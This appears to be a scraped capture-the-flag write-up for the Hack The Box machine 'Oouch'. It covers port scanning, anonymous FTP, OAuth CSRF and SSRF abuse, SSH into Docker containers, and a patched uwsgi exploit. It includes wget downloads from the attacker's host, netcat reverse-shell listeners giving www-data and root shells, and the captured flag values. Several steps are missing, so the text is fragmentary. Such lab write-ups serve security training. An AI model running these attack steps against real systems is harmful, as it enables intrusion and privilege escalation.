$ sudo nmap -p- -sSVC 10.10.10.177 -oA nmap_full [sudo] password for noraj: Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-29 23:51 CEST WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value Nmap scan report for 10.10.10.177 Host is up (0.022s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.15.102 | Logged in as ftp | TYPE: ASCII | Session bandwidth limit in byte/s is 30000 | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA) |_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519) 5000/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 | http-title: Welcome to Oouch |_Requested resource was http://10.10.10.177:5000/login?next=%2F 8000/tcp open rtsp | fingerprint-strings: | FourOhFourRequest, GetRequest, HTTPOptions: | HTTP/1.0 400 Bad Request | Content-Type: text/html | Vary: Authorization | <h1>Bad Request (400)</h1> | RTSPRequest: | RTSP/1.0 400 Bad Request | Content-Type: text/html | Vary: Authorization | <h1>Bad Request (400)</h1> | SIPOptions: | SIP/2.0 400 Bad Request | Content-Type: text/html | Vary: Authorization |_ <h1>Bad Request (400)</h1> |_http-title: Site doesn't have a title (text/html). |_rtsp-methods: ERROR: Script execution failed (use -d to debug) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.80%I=7%D=6/29%Time=5EFA626D%P=x86_64-unknown-linux-gnu SF:%r(GetRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x SF:20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(40 SF:0\)</h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r SF:\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x SF:20Request\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x SF:20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r SF:\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x204 SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authoriz SF:ation\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/ SF:2\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x2 SF:0Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.42 seconds
Let's check the FTP anonymous access with FileZilla or ftp CLI command:
1 2 3 4 5 6 7 8 9 10 11 12
$ ftp 10.10.10.177 Connected to 10.10.10.177. 220 qtc's development server Name (10.10.10.177:noraj): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt 226 Directory send OK.
Only one file, project.txt, we can't miss it:
1 2 3
$ cat project.txt Flask -> Consumer Django -> Authorization Server
It seems we will encounter a python web server in the next steps.
The only endpoint that not linked in the menu is oauth.
Please notice: This functionality is currently under development and not ready to be used in production. However, since you know about this hidden URL, it seems that you got developer access and are supposed to use it.
The victim follows the link and requests the Authorization Grant URL, and by doing so gives authorization to the Attacker to have full authorized access to Victim's account on Consumer Site.
Let's go back to the contact page (http://consumer.oouch.htb:5000/contact) and use the pseudo-SSRF to gain qtc access, not to the consumer site but to the provider site this time.
As listed on the home page there is a token endpoint but it seems not reachable with GET, so let's try a POST (as explained in Oracle oAuth doc anyway). The doc also tells us which params to use.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3 qtc@oouch:~$ cat user.txt 2dea47702ee688171c4918703f46cb3c
Elevation of Privilege: docker credential stuffing#
Let's see if there is a hint:
1 2 3 4 5 6 7 8 9 10 11 12
qtc@oouch:~$ ls -lA total 28 lrwxrwxrwx 1 root root 9 Feb 11 18:34 .bash_history -> /dev/null -rw-r--r-- 1 qtc qtc 220 Feb 11 18:11 .bash_logout -rw-r--r-- 1 qtc qtc 3526 Feb 11 18:11 .bashrc drwx------ 3 qtc qtc 4096 Feb 25 12:45 .gnupg -rw-r--r-- 1 root root 55 Feb 11 18:34 .note.txt -rw-r--r-- 1 qtc qtc 807 Feb 11 18:11 .profile drwx------ 2 qtc qtc 4096 Feb 11 18:34 .ssh -rw------- 1 qtc qtc 33 Jun 30 10:00 user.txt qtc@oouch:~$ cat .note.txt Implementing an IPS using DBus and iptables == Genius?
As docker is running let's see the address ranges:
1 2 3 4 5
$ qtc@oouch:~$ ip addr show docker0 3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:a1:27:4b:76 brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever
By looking at running process we should be able to find machines in 172.17.0.1/16 range.
The Django and Flask app are running on docker containers:
It seems we can connect on the customer Flask app host:
1 2 3 4 5 6 7 8 9 10 11 12
qtc@oouch:~$ ssh -i id_rsa qtc@172.18.0.3 Warning: Identity file id_rsa not accessible: No such file or directory. Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Jun 30 20:04:54 2020 from 172.18.0.1 qtc@aeb4525789d8:~$
There is a /code folder:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
qtc@aeb4525789d8:/code$ ls -lh total 44K -rw-r--r-- 1 root root 1.1K Feb 11 17:34 Dockerfile -r-------- 1 root root 568 Feb 11 17:34 authorized_keys -rw-r--r-- 1 root root 325 Feb 11 17:34 config.py -rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py -r-------- 1 root root 2.6K Feb 11 17:34 key drwxr-xr-x 4 root root 4.0K Feb 11 17:34 migrations -rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf drwxr-xr-x 5 root root 4.0K Feb 11 17:34 oouch -rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt -rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh -rw-rw-rw- 1 root root 0 Jun 30 20:07 urls.txt -rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini
start.sh:
1 2 3 4
#!/bin/bash service ssh start service nginx start uwsgi --ini uwsgi.ini --chmod-sock=666
We need a quick patch, on line 18-19 in sz(), remove or comment the if statements.
1 2 3 4 5 6 7
def sz(x): s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0') - if sys.version_info[0] == 3: import bytes + #if sys.version_info[0] == 3: import bytes - s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex') + s = bytes.fromhex(s) #if sys.version_info[0] == 3 else s.decode('hex') return s[::-1]
Start a web server from you attacker machine.
On oouch machine retrieve the uwsgi exploit.
1 2
$ cd /tmp $ wget http://10.10.15.142:8000/uwsgi_exp.py
Now we need to transfer then into the docker container but there aren't many binaries inside. So we will have to use a GTFOBins tricks with bash to download the file inside the container.
$ nc -nlvp 12345 listening on [any] 12345 ... connect to [172.17.0.1] from (UNKNOWN) [172.18.0.3] 47676 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ nc -nlvp 9999 listening on [any] 9999 ... connect to [172.17.0.1] from (UNKNOWN) [10.10.10.177] 37180 bash: cannot set terminal process group (2688): Inappropriate ioctl for device bash: no job control in this shell root@oouch:/root# id uid=0(root) gid=0(root) groups=0(root) root@oouch:/root# cat root.txt cat root.txt ff9e6428ad626cb968daba6eb1d33540